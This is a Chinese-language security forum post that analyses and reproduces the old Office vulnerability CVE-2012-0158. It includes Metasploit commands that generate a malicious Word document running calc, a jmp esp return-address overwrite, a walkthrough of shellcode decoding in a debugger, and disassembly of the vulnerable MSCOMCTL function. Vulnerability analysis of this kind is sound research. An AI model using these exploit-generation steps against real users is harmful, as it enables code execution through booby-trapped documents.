-
-
[原创]CVE-2012-0158漏洞分析与复现
-
发表于: 2021-8-23 16:13 13456
-
Microsoft Office 是由微软公司开发的一套基于 Windows 操作系统的办公软件套装。常用组件有 Word、Excel、PowerPoint等。最新版本为Microsoft 365及Office 2019(正式版本)。
Windows系统下Microsoft Office 2003 SP3, 2007 SP2 和 SP3, 2010 和 2010 SP3。
本次复现设置的payload为在目标系统中启动calculator.exe
(1) Kali中启动Metasploit生成木马文件
(2) 将word木马文件发送至靶机
(3) 运行word
可看到跳出计算器窗口
程序将参数传入栈中时没有检查传入的参数是否大于预定的长度,导致栈中关键数据被参数覆盖
从汇编角度讲,在函数执行retn返回前,ESP刚好指向栈中存放返回地址的+0x4地址,若是发生栈溢出,将函数的返回地址覆盖为jmp esp,剩下的部分覆盖为shellcode,程序就会在返回时自动跳转到shellcode地址,这种方法能够增加shellcode的写入空间,并且绕过ASLR。
参考《漏洞战争》及其配套资料,首先尝试运行配套资料中的poc.doc文件,会发生:
错误报告中显示出现了错误的访问地址0x41414141
使用二进制编辑器查看poc文件原格式:
看到41414141字符串
从DOCF11E0开始是OLE签名,从这里开始一直至结束部分能够被OffVis识别,通过将文件中这部分数据单独提取出来,并制成二进制文件,以放在OffVis中查看
制成二进制文件过程如下:
先将这部分数据复制到文档中
8
将文档中的十六进制的内容编码成二进制文件,这里使用python语言实现:
将输出的文件b放在OffVis中查看格式,搜索41414141十六进制内容,找到其位置
0x41414141位于Data字段
调试前需要先设置OD。首先打开选项-调试选项,取消图中忽略的中断和异常:
插件-StrongOD-Options,取消勾选Skip Some Exceptions
打开Microsoft Word,使用OD附加进程WINWORD,按F9运行后打开poc文件
继续按F9,让程序运行,此时系统发生报错,提示为:
查看栈中数据
可发现最近的返回地址为0x275C8A0A,在反汇编窗口中跟随:
可看到函数MSCOMCTL.275C876D,初步断定是这个函数引起的栈溢出,在这里设置断点,重新运行,到达断点处此时栈中还没有发生溢出
单步步入进一步确定发生溢出的位置,当运行到指令
发现栈中数据逐渐被覆盖,一直执行这个rep movs指令,栈的前后变化如图:
可以看到从0x001215DC开始,往下的数据被逐个覆盖掉,就此,成功找到发生栈溢出的函数MSCOMCTL.275C876D
测试过poc.doc后,尝试分析用msf生成的运行计算器的msf.doc
重新运行word并附加,F9,打开msf.doc文件,F9运行,由于之前测试poc时在函数MSCOMCTL.275C876D处设置了断点,此次运行时程序自动断在了此处,跟进后运行至
指令执行前后栈中变化如下:
图中可以看到栈中的返回地址被覆盖为27583C30,在反汇编窗口中查看该地址指令:
指令为jmp esp,使用跳板修改程序执行流,那么说明栈中返回地址以下(0x001215EC以下)的内容为shellcode,在数据窗口和反汇编窗口中跟随这部分内容
能够看到shellcode前面是一堆“滑板指令”,运行后内存数据无任何变化,一直运行这这里时:
能够看到一段循环指令,指令后方出现call 001217B1,单步执行这个循环发现数据窗口中地址0x001217B1的内容在逐渐发生变化,初步断定为shellcode在解码操作,将其全部解码后数据窗口如图所示:
继续跟进call 001217B1,在执行指令001217B4 8D85 B2000000 lea eax,dword ptr ss:[ebp+0xB2]后发现寄存器EAX指向了字符串"calc", 继续向下执行 call ebp,此时系统弹出计算器,说明此步执行了运行计算器函数。继续运行后程序结束。
使用Ida打开C:\WINDOWS\system32\MSCOMCTL.OCX,查看地址0x275C8A0A所在的函数(从地址向上找push ebp),找到函数sub_275c89c7,分析该函数的代码:
在进入函数sub_275C876D之前堆栈还剩0x8大小的栈空间,F5转化为C伪代码如下:
从代码中看出,没有对输入的字符串进行限制大小,跟进sub_275C876D函数查看
用Ida打开修复后的MSCOMCTL.ocx查看,修复函数为sub_275D0076,要求长度必须等于8,否则退出程序。
恶意文件可以作为电子邮件附件发送,但攻击者必须说服用户打开附件才能利用该漏洞。
成功利用此漏洞的攻击者可以获得与本地用户相同的用户权限。与使用管理用户权限操作的用户相比,帐户配置为在系统上拥有较少用户权限的用户受到的影响较小。
《漏洞战争》
看雪:CVE-2012-0158 office缓冲区溢出漏洞报告【千字长文】
搜索Adobe渗透模块
msf > search cve
-
2012
-
0158
调用渗透模块
msf > use
0
搜索Adobe渗透模块
msf > search cve
-
2012
-
0158
调用渗透模块
msf > use
0
设置payload为执行命令行
msf exploit(windows
/
fileformat
/
ms12_027_mscomctl_bof) >
set
payload
29
展示配置
msf exploit(windows
/
fileformat
/
ms12_027_mscomctl_bof) > show options
设置命令为运行calculator.exe
msf exploit(windows
/
fileformat
/
ms12_027_mscomctl_bof >
set
cmd calc
生成木马文件
msf exploit(windows
/
fileformat
/
ms12_027_mscomctl_bof) > exploit
设置payload为执行命令行
msf exploit(windows
/
fileformat
/
ms12_027_mscomctl_bof) >
set
payload
29
展示配置
msf exploit(windows
/
fileformat
/
ms12_027_mscomctl_bof) > show options
设置命令为运行calculator.exe
msf exploit(windows
/
fileformat
/
ms12_027_mscomctl_bof >
set
cmd calc
生成木马文件
msf exploit(windows
/
fileformat
/
ms12_027_mscomctl_bof) > exploit
# 读取保存的txt文档
a
=
open
(
'a.text'
)
# 将文档中的内容转为字符串形式
content
=
a.read()
# 将字符串以十六进制形式编码为二进制数据
content
=
content.decode(
'hex'
)
# 新建文件b
b
=
open
(
'b'
,
'wr'
)
# 二进制数据写入文件中
b.write(content)
# 关闭文件
a.close()
b.close()
# 读取保存的txt文档
a
=
open
(
'a.text'
)
# 将文档中的内容转为字符串形式
content
=
a.read()
# 将字符串以十六进制形式编码为二进制数据
content
=
content.decode(
'hex'
)
# 新建文件b
b
=
open
(
'b'
,
'wr'
)
# 二进制数据写入文件中
b.write(content)
# 关闭文件
a.close()
b.close()
275C87CB
F3:A5 rep movs dword ptr es:[edi],dword ptr ds:[esi]
275C87CB
F3:A5 rep movs dword ptr es:[edi],dword ptr ds:[esi]
275C87CB
F3:A5 rep movs dword ptr es:[edi],dword ptr ds:[esi]
275C87CB
F3:A5 rep movs dword ptr es:[edi],dword ptr ds:[esi]
.text:
275C89C7
push ebp
.text:
275C89C8
mov ebp, esp
.text:
275C89CA
sub esp,
14h
; 开辟了
0x14
站空间
.text:
275C89CD
push ebx
.text:
275C89CE
mov ebx, [ebp
+
bstrString]
.text:
275C89D1
push esi
.text:
275C89D2
push edi
.text:
275C89D3
push
0Ch
; dwBytes
.text:
275C89D5
lea eax, [ebp
+
var_14]
.text:
275C89D8
push ebx ; lpMem
.text:
275C89D9
push eax ;
int
.text:
275C89DA
call sub_275C876D
.text:
275C89DF
add esp,
0Ch
; 用掉
0xC
,还剩
0x8
.text:
275C89E2
test eax, eax
.text:
275C89E4
jl short loc_275C8A52
.text:
275C89E6
cmp
[ebp
+
var_14],
6A626F43h
.text:
275C89ED
jnz loc_275D3085
.text:
275C89F3
cmp
[ebp
+
dwBytes],
8
.text:
275C89F7
jb loc_275D3085
.text:
275C89FD
push [ebp
+
dwBytes] ; dwBytes
.text:
275C8A00
lea eax, [ebp
+
var_8]
.text:
275C8A03
push ebx ; lpMem
.text:
275C8A04
push eax ;
int
.text:
275C8A05
call sub_275C876D ; 出现溢出的函数
.text:
275C8A0A
mov esi, eax
.text:
275C89C7
push ebp
.text:
275C89C8
mov ebp, esp
.text:
275C89CA
sub esp,
14h
; 开辟了
0x14
站空间
.text:
275C89CD
push ebx
.text:
275C89CE
mov ebx, [ebp
+
bstrString]
.text:
275C89D1
push esi
.text:
275C89D2
push edi
.text:
275C89D3
push
0Ch
; dwBytes
.text:
275C89D5
lea eax, [ebp
+
var_14]
.text:
275C89D8
push ebx ; lpMem
.text:
275C89D9
push eax ;
int
.text:
275C89DA
call sub_275C876D
.text:
275C89DF
add esp,
0Ch
; 用掉
0xC
,还剩
0x8